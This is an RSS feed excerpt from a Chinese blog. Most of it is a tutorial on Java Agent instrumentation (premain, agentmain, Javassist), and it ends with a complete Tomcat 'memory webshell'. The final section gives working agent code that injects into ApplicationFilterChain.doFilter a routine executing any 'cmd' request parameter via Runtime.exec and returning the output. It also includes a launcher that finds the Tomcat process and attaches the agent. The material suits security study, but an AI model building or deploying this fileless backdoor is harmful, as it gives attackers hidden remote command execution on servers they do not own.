 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1749646746626.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">页面设置是为了让除了文章页以外的页面加载弹幕所添加的设置，现在只支持Halo评论的自定义页面和友链页面，artalk不需要设置这些，因为artalk的评论接口都是一致的。</p>
<h3 style="" id="%E5%85%B6%E4%BB%96">其他</h3>
<p style="">除此之外，在后台菜单中增加了一个</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1749647172235.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1749647284625.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1749647284625.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1749647284625.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">这个页面名叫评论弹幕聚合，会展示博客所有的评论弹幕，当前仅支持Halo评论插件。此页面保留着halo插件原始模版，只是稍微改动一下。</p>
<p style="">基本上现在就是这些功能，觉得还不够完善，等有时间在完善一下。</p>]]></description><guid isPermaLink="false">/archives/96152fa0-8df9-4212-8ae2-bdad15e92dcc</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2FIMG_4007.JPG&amp;size=m" type="image/jpeg" length="13859"/><category>开发</category><pubDate>Wed, 11 Jun 2025 13:10:19 GMT</pubDate></item><item><title><![CDATA[Java Agent & 内存马]]></title><link>http://gowninng.cn/archives/019b6af4-18b0-7412-824b-a82167b36823</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=Java%20Agent%20%26%20%E5%86%85%E5%AD%98%E9%A9%AC&amp;url=/archives/019b6af4-18b0-7412-824b-a82167b36823" width="1" height="1" alt="" style="opacity:0;">
<h3 style="" id="java-agent">Java Agent</h3>
<p style="text-indent: 2em">Java Agent是一种可以在JVM启动时或运行时附加的工具，它可以拦截并修改类文件字节码。Java Agent通常用于实现AOP（面向切面编程）、性能监控、日志记录等功能。</p>
<p style="margin-left: 24px!important">Java Agent有两种加载方式：</p>
<p style="margin-left: 24px!important">1.Premain：在JVM启动时通过命令行参数-javaagent:path/to/your-agent.jar来指定。</p>
<p style="margin-left: 24px!important">2.Agentmain：在JVM已经启动后，通过Attack API动态地附加到正在运行的JVM进程上。</p>
<h2 style="" id="%E5%87%86%E5%A4%87">准备</h2>
<p style="">先来准备一个正在运行的正常程序：项目很简单，只有一个简单的Main方法，和一个Fox类。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744769954446.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">有一个狐狸类，狐狸有一个say方法。</p>
<pre><code class="language-java">package org.example;

public class Fox {
    public  void say(){
        System.out.println("ding-ding-ding...");
    }
}
</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744770082986.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">还有一个程序入口，每秒钟调用一次狐狸类的say()方法。</p>
<pre><code class="language-java">package org.example;

public class Main {
    public static void main(String[] args) throws InterruptedException {
        Fox fox = new Fox();
        while (true){
            fox.say();
            Thread.sleep(1000);
        }
    }
}</code></pre>
<p style="">好了，写完这些代码就不要再去改动这个项目了。这个项目用于演示一个被Agent修改的普通应用。</p>
<h2 style="" id="premain">Premain</h2>
<p style="">premian代理的加载方式是在程序启动时加入参数。</p>
<pre><code class="language-shell">java -javaagent:xxx.jar app.jar</code></pre>
<p style="">其中的xxx.jar就是我们接下来构造的包。</p>
<p style="">1.新建一个maven项目。</p>
<p style="">2.改一下maven打包设置，配置如下：</p>
<pre><code class="language-xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"&gt;
    &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;

    &lt;groupId&gt;org.example&lt;/groupId&gt;
    &lt;artifactId&gt;agent-premain&lt;/artifactId&gt;
    &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt;

    &lt;properties&gt;
        &lt;maven.compiler.source&gt;11&lt;/maven.compiler.source&gt;
        &lt;maven.compiler.target&gt;11&lt;/maven.compiler.target&gt;
        &lt;project.build.sourceEncoding&gt;UTF-8&lt;/project.build.sourceEncoding&gt;
    &lt;/properties&gt;
    &lt;build&gt;
        &lt;plugins&gt;
            &lt;plugin&gt;
                &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;
                &lt;artifactId&gt;maven-assembly-plugin&lt;/artifactId&gt;
                &lt;configuration&gt;
                    &lt;descriptorRefs&gt;
                        &lt;descriptorRef&gt;
                            jar-with-dependencies
                        &lt;/descriptorRef&gt;
                    &lt;/descriptorRefs&gt;
                    &lt;archive&gt;
                        &lt;manifestEntries&gt;
                            &lt;Agent-Class&gt;
                                AgentMainTest
                            &lt;/Agent-Class&gt;
                            &lt;Premain-Class&gt;
                                PremainTest
                            &lt;/Premain-Class&gt;
                            &lt;Can-Redefine-Classes&gt;
                                true
                            &lt;/Can-Redefine-Classes&gt;
                            &lt;Can-Retransform-Classes&gt;
                                true
                            &lt;/Can-Retransform-Classes&gt;

                        &lt;/manifestEntries&gt;
                    &lt;/archive&gt;
                &lt;/configuration&gt;
                &lt;executions&gt;
                    &lt;execution&gt;
                        &lt;id&gt;
                            make-assembly
                        &lt;/id&gt;
                        &lt;phase&gt;package&lt;/phase&gt;
                        &lt;goals&gt;&lt;goal&gt;single&lt;/goal&gt;&lt;/goals&gt;
                    &lt;/execution&gt;
                &lt;/executions&gt;
            &lt;/plugin&gt;
        &lt;/plugins&gt;
    &lt;/build&gt;

&lt;/project&gt;</code></pre>
<p style="">配置的作用是让jar打包时添加以下信息到jar包中的MANIFEST.MF文件中。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744779527708.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">创建一个Premain类型的Agent时，需要在MANIFEST.MF中指定Premain-Class属性JVM才能在启动时加载指定代理类。</p>
<p style="">而创建一个Agentmain类型的Agent时，需要在MANIFEST中指定Agent-Class属性，JVM才能在运行时加载指定代理类。</p>
<p style="">Can-Redefine-Classes: true表示允许Java Agent新定义已经加载的类。</p>
<p style="">Can-Retransform-Classes: true表表示允许Java Agent重新转换已经加载的类。</p>
<p style="">现在来创建Premain Class，要注意，类的名字和在MANIFEST.MF中指定的Premain-Class属性值要一致。</p>
<pre><code class="language-java">import java.lang.instrument.Instrumentation;

public class PremainTest {
    public static void premain(String[] agentArgs, Instrumentation inst) {
        inst.addTransformer(new MyTransformer());
        System.out.println("Hello world!");
    }
}</code></pre>
<p style="">public static void premain(String[] agentArgs, Instrumentation inst)是一个特殊的静态方法，被称为代理主方法(agent main method)。它由JVM调用，允许代理(agent)在目标应用程序启动之前执行初始化操作。</p>
<p style="">Strig agentArgs：传递给代理的参数字符串。</p>
<p style="">Instrumentation inst：提供了一组API来检查、修改甚至替换应用程序中的类。</p>
<p style="">MyTransformer是一个实现ClassFileTransformer的类，在类中负责具体的类转换工作。</p>
<pre><code>import java.io.FileInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
   @Override
   public  byte[] transform(ClassLoader loader, String classname, Class&lt;?&gt; classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
       if (classname.equals("org/example/Fox")){
           return  read("Fox.class");
       }
       return ClassFileTransformer.super.transform(loader, classname,classBeingRedefined,protectionDomain,classfileBuffer);
   }
   public  static  byte[] read(String path){
       try {
           FileInputStream in = new FileInputStream(path);
           //当文件没有结束时，每次读取一个字节显示
           byte[] data= new byte[in.available()];
           in.read(data);
           in.close();
           return data;
       } catch (Exception e){
           e.printStackTrace();
           return null;
       }
   }
}</code></pre>
<p style="">关于此接口类方法的参数：</p>
<p style="">ClassLoader loader:加载类的类加载器。</p>
<p style="">String classname:类的全限定名（例如，com/example/MyClass）。</p>
<p style="">Class&lt;?&gt; classBeingRedefined：如果是在重新定义类，则为该类的对象；否则为null。</p>
<p style="">ProtectionDomain protectionDomain：类的保护域。</p>
<p style="">byte[] classfileBuffer：类的原始字节码数组。</p>
<p style="">返回一个新的字节码数组，用于替换原始字节码；如果不需要修改字节码，则返回null。</p>
<p style="">每当jvm需要加载一个类时，都会调用这个方法。这包括初始加载、重新定义和重新转换。</p>
<p style="">这个方法的作用是：如果检测到加载的是Fox类，则替换成编译好的另一个Fox.class文件的内容。</p>
<p style="">Fox.class是由修改后的Fox.java编译得来，与原版的不同在于换了一种叫法。</p>
<p style="">将以下代码放在Agent项目中，然后使用mvn compile命令编译。</p>
<pre><code class="language-java">package org.example;

public class Fox {
    public  void say(){
        System.out.println("大楚兴");
    }
}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744780016722.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">编译好后在这个目录下。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744780293932.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">将这个文件的路径填入到MyTransformer::transform中的return read()里面。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744780391824.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">然后将项目编译成jar，复制jar绝对路径。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744780442146.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">回到原来的第一个项目，先运行下项目，让其生成target文件夹。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744780547728.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">生成后进入文件夹target/classes目录，打开cmd，运行指令：</p>
<pre><code class="language-powershell">java -javaagent:E:\开发项目\javasec2\agent\agent-premain\target\agent-premain-1.0-SNAPSHOT-jar-with-dependencies.jar org.example.Main</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744780696533.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">Fox.class成功被篡改。</p>
<h2 style="" id="agentmain">Agentmain</h2>
<p style="">Agentmain代理的加载方式是附加到正在运行的Java进程上。前面说到，创建一个Agentmain类型的Agent时，需要在MANIFEST中指定Agent-Class属性，则我们创建一个跟Agent-Class属性值同名的Java文件。</p>
<pre><code class="language-java">import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        inst.addTransformer(new MyTransformer(), true);
        for (Class&lt;?&gt; clazz : inst.getAllLoadedClasses()){
            if (clazz.getName().equals("org.example.Fox")){
                try {
                    inst.retransformClasses(clazz);
                } catch (UnmodifiableClassException e) {
                    throw new RuntimeException(e);
                }

            }
        }
    }

}</code></pre>
<p style="">inst.addTransformer(new MyTransformer(), true)中的第二个参数true表示该转换器可以重新转换已经加载过的类。</p>
<p style="">与之前Premain的逻辑不同的是，如果找到名为org.example.Fox的类，则调用retransformClasses重新转换一下这个类。因为程序已经运行起来了，说明这个Fox类已经被加载过了。之前的Premain Agent是在程序启动时加载的，所以不用这一步，剩下的MyTransformer接口中的逻辑保持和之前一致。</p>
<p style="">那么这个代理附加到正在运行的java项目进程上？首先，先把要修改的目标项目运行起来。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744783399949.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">将刚修改的项目编译打包出jar包。通过命令mvn clean package编译。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744783522001.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">使用jqs找到要注入的进程。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744783559510.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">可以看到org.example.Main的进程号为49808。</p>
<p style="">使用jcmd附加代理到进程上。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744783797926.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">看原来运行的程序，已经更改输出，达到运行时修改class的效果。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744783835917.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">如果没有jcmd这个工具，或者不能执行命令，还有没有办法将这个Jar包附加到这个进程上呢？</p>
<p style="">现将正在运行的程序停掉，在这个项目中添加main类。</p>
<pre><code class="language-java">import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class Main {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        VirtualMachine vm = VirtualMachine.attach("123");
        vm.loadAgent("E:\\开发项目\\javasec2\\agent\\agent-premain\\target\\agent-premain-1.0-SNAPSHOT-jar-with-dependencies.jar");
        System.out.println("Hello world!");
    }
}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744784484332-asid.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">老样子先获取进程。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744784549392.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">将id修改成进程号，直接运行。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744784624189.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744784613871-vpht.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">成功修改。</p>
<h2 style="" id="javassist">Javassist</h2>
<p style="">提前写好class再替换还是不太灵活，有没有更灵活的方法呢，有的。</p>
<p style="">Javassist是一个用于操作java字节码的库类。它允许你在运行时定义新的类，或者修改现有的类。Javassist提供了一种简单的方式来处理Java字节码，使得开发者可以在不重新编译源代码的情况下，动态地改变程序的行为。</p>
<p style="">怎么用呢？添加依赖</p>
<pre><code class="language-xml">&lt;dependencies&gt;
    &lt;dependency&gt;
        &lt;groupId&gt;org.javassist&lt;/groupId&gt;
        &lt;artifactId&gt;javassist&lt;/artifactId&gt;
        &lt;version&gt;3.30.2-GA&lt;/version&gt;
    &lt;/dependency&gt;
&lt;/dependencies&gt;</code></pre>
<p style="">修改MyTransformer代码，当 JVM 加载 org.example.Fox 类时，​​在该类的 say() 方法开头插入一行打印 "陈胜王" 的代码​​</p>
<pre><code class="language-java">import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String classname,
                            Class&lt;?&gt; classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) throws IllegalClassFormatException {

        // 1. 只处理目标类 "org/example/Fox"（注意路径格式是 / 分隔）
        if (classname.equals("org/example/Fox")) {

            // 2. 初始化 Javassist 类池
            ClassPool pool = ClassPool.getDefault();
            pool.appendClassPath(new LoaderClassPath(loader)); // 添加当前 ClassLoader 的路径

            try {
                // 3. 从原始字节码构建 CtClass 对象
                CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));

                // 4. 获取目标方法 say()
                CtMethod say = cc.getDeclaredMethod("say");

                // 5. 在 say() 方法开头插入代码
                say.insertBefore("System.out.println(\"陈胜王\");");

                // 6. 返回修改后的字节码
                return cc.toBytecode();

            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }

        // 7. 对其他类不处理，返回 null 表示保持原样
        return null;
    }
}
</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744785659619.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">打包jar</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744785674890.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">让fox跑起来。<img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744785946152-jllh.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">还是jps -l查找进程号，并填入代码中。
 <br>
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744786069009-fgxc.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">运行成功，已经插入输出语句。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744786118274.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h2 style="" id="agent%E5%86%85%E5%AD%98%E9%A9%AC">Agent内存马</h2>
<p style="">Agent技术既然能在程序运行时动态修改类的字节码，那就非常适合做内存马，只要修改掉http请求处理过程中的一个类，那不就是在无webshell文件落地的情况下实现了，让目标程序受我们控制吗。</p>
<p style="">启动一个Tomcatweb服务，在一个Servlet上打上断点，然后访问Servlet，将看到以下调用过程：</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744792839163.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">在调用过程中存在一个ApplicationFilterChain类的doFilter方法，根据tomcat的请求传递过程，请求必定经过Filter链。只要项目中存在Filter，则ApplicationFilterChain类的doFilter方法必定被调用。</p>
<p style="">所以可以在请求的必经之路上设下条件：如果请求参数中包含cmd参数，则执行参数中的命令，否则就什么都不做。</p>
<pre><code class="language-java">String cmd = request.getParameter("cmd");
if (cmd != null) {
    try {
        Process proc = Runtime.getRuntime().exec(cmd);
        java.io.InputStream in = proc.getInputStream();
        java.io.BufferedReader br  = new java.io.BufferedReader(new java.io.InputStreamReader(in));
        response.setContentType("text/html");
        String line;
        java.io.PrintWriter out = response.getWriter();
        while ((line = br.readLine()) != null) {
            out.println(line);
            out.flush();
           out.close();
       }
        
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}</code></pre>
<p style="">我们将这段代码插入正在运行的Tomcat进程中，这算是对Agent知识的一个小小的实践。</p>
<p style="">首先tomcat肯定运行起来了，所以要使用Agentmain的方式将agent jar包注入到Tomcat进程中。</p>
<p style="">首先先运行tomcat，查找tomcat的进程号。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744851794546.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">53988 org.apache.catalina.startup.Bootstrap为tomcat进程。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744851828645.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">不论进程号如何改变，对用的启动类名称固定为org.apache.catalina.startup.Bootstrap，现在编写出agent jar包，因为是Agentmain注入，所以不需要Premain-Class。</p>
<pre><code class="language-xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"&gt;
    &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;

    &lt;groupId&gt;org.example&lt;/groupId&gt;
    &lt;artifactId&gt;agent-demo2&lt;/artifactId&gt;
    &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt;

    &lt;properties&gt;
        &lt;maven.compiler.source&gt;11&lt;/maven.compiler.source&gt;
        &lt;maven.compiler.target&gt;11&lt;/maven.compiler.target&gt;
        &lt;project.build.sourceEncoding&gt;UTF-8&lt;/project.build.sourceEncoding&gt;
    &lt;/properties&gt;
    &lt;dependencies&gt;
        &lt;dependency&gt;
            &lt;groupId&gt;org.javassist&lt;/groupId&gt;
            &lt;artifactId&gt;javassist&lt;/artifactId&gt;
            &lt;version&gt;3.30.2-GA&lt;/version&gt;
        &lt;/dependency&gt;
    &lt;/dependencies&gt;
    &lt;build&gt;
        &lt;plugins&gt;
            &lt;plugin&gt;
                &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;
                &lt;artifactId&gt;maven-assembly-plugin&lt;/artifactId&gt;
                &lt;version&gt;3.6.0&lt;/version&gt;
                &lt;configuration&gt;
                    &lt;descriptorRefs&gt;
                        &lt;descriptorRef&gt;jar-with-dependencies&lt;/descriptorRef&gt;
                    &lt;/descriptorRefs&gt;
                    &lt;archive&gt;
                        &lt;manifestEntries&gt;
                            &lt;Main-Class&gt;test&lt;/Main-Class&gt;
                            &lt;Agent-Class&gt;AgentMainTest&lt;/Agent-Class&gt;
                            &lt;Can-Redefine-Classes&gt;true&lt;/Can-Redefine-Classes&gt;
                            &lt;Can-Retransform-Classes&gt;true&lt;/Can-Retransform-Classes&gt;
                        &lt;/manifestEntries&gt;
                    &lt;/archive&gt;
                &lt;/configuration&gt;
                &lt;executions&gt;
                    &lt;execution&gt;
                        &lt;id&gt;make-assembly&lt;/id&gt;
                        &lt;phase&gt;package&lt;/phase&gt;
                        &lt;goals&gt;
                            &lt;goal&gt;single&lt;/goal&gt;
                        &lt;/goals&gt;
                    &lt;/execution&gt;
                &lt;/executions&gt;
            &lt;/plugin&gt;
        &lt;/plugins&gt;
    &lt;/build&gt;
&lt;/project&gt;</code></pre>
<p style="">接下来编写AgentMainTest.java,遍历所有已加载的类，对org.apache.catalina.core.ApplicationFilterChain类用自定义的MyTransformer类重新转换类字节码，在java目录新建这个文件。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744852046311.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<pre><code class="language-java">import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        // 确保 MANIFEST.MF 文件中配置了正确的 Agent-Class 属性
        // Agent-Class: AgentMainTest
        inst.addTransformer(new MyTransformer(), true);
        for (Class&lt;?&gt; clazz : inst.getAllLoadedClasses()){
            if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
                try {
                    inst.retransformClasses(clazz);
                } catch (UnmodifiableClassException e) {
                    throw new RuntimeException(e);
                }
            }
        }
    }
}</code></pre>
<p style="">MyTransformer实现类字节码的替换工作，在执行doFilter之前插入一段恶意代码，若存在cmd参数，则返回cmd参数运行结果。</p>
<pre><code class="language-java">import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String classname,
                            Class&lt;?&gt; classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) throws IllegalClassFormatException {

        // 1. 只处理目标类 "org/apache/catalina/core/ApplicationFilterChain"（注意路径格式是 / 分隔）
        if (classname.equals("org/apache/catalina/core/ApplicationFilterChain")) {

            // 2. 初始化 Javassist 类池
            ClassPool pool = ClassPool.getDefault();
            pool.appendClassPath(new LoaderClassPath(loader)); // 添加当前 ClassLoader 的路径

            try {
                // 3. 从原始字节码构建 CtClass 对象
                CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));

                // 4. 获取目标方法 doFilter()
                CtMethod doFilter = cc.getDeclaredMethod("doFilter");

                // 5. 在 doFilter() 方法开头插入代码
                doFilter.insertBefore(
                        "String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null) {\n" +
                        "    try {\n" +
                        "        Process proc = Runtime.getRuntime().exec(cmd);\n" +
                        "        java.io.InputStream in = proc.getInputStream();\n" +
                        "        java.io.BufferedReader br  = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        response.setContentType(\"text/html\");\n" +
                        "        String line;\n" +
                        "        java.io.PrintWriter out = response.getWriter();\n" +
                        "        while ((line = br.readLine()) != null) {\n" +
                        "            out.println(line);\n" +
                        "            out.flush();\n" +
                        "            out.close();\n" +
                        "        }\n" +
                        "        \n" +
                        "    } catch (Exception e) {\n" +
                        "        throw new RuntimeException(e);\n" +
                        "    }\n" +
                        "        \n" +
                        "}");

                // 6. 返回修改后的字节码
                return cc.toBytecode();

            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }


        return ClassFileTransformer.super.transform(loader, classname, classBeingRedefined, protectionDomain, classfileBuffer);
    }
}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744852320255.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">test.java是为了方便不用再命令行查找进程和不写jar路径，直接在代码中实现找jar包和进程号查询并且将查询到的值传入到test的main方法中，直接将jar注入到该进程中。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744852621948.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<pre><code class="language-java">import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.security.ProtectionDomain;

public class test {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        String pid = getPID("org.apache.catalina.startup.Bootstrap");
        if (pid == null){
            throw new RuntimeException("未找到目标进程");
        }
        String jar = getJar(test.class);
        VirtualMachine vm = VirtualMachine.attach(pid);

        System.out.println(jar);
        vm.loadAgent(jar);
    }
    public static String getJar(Class&lt;?&gt; clazz) throws IOException {
        //获取类所在的jar包路径
        ProtectionDomain protectiondomain = clazz.getProtectionDomain();
        URL Location = protectiondomain.getCodeSource().getLocation();
        //获取jar包名称
        String path = Location.getPath();
        String decodedPath = URLDecoder.decode(path, StandardCharsets.UTF_8);
        if (System.getProperty("os.name").toLowerCase().contains("win")&amp;&amp;decodedPath.startsWith("/")) {
            return decodedPath.substring(1);
        }
        return null;
    }
    //执行jps -l，获取到目标进程的pid
    public static String getPID(String className) {
        try {
            Process process = Runtime.getRuntime().exec("jps -l");
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                if (line.contains(className)) {
                    return line.split(" ")[0];
                }
            }
        } catch (IOException e) {
            throw new RuntimeException("获取目标进程PID失败", e);
        }
        return null;
    }
}</code></pre>
<p style="">打包代码，然后在命令行中运行jar，记得在此之前要运行tomcat。</p>
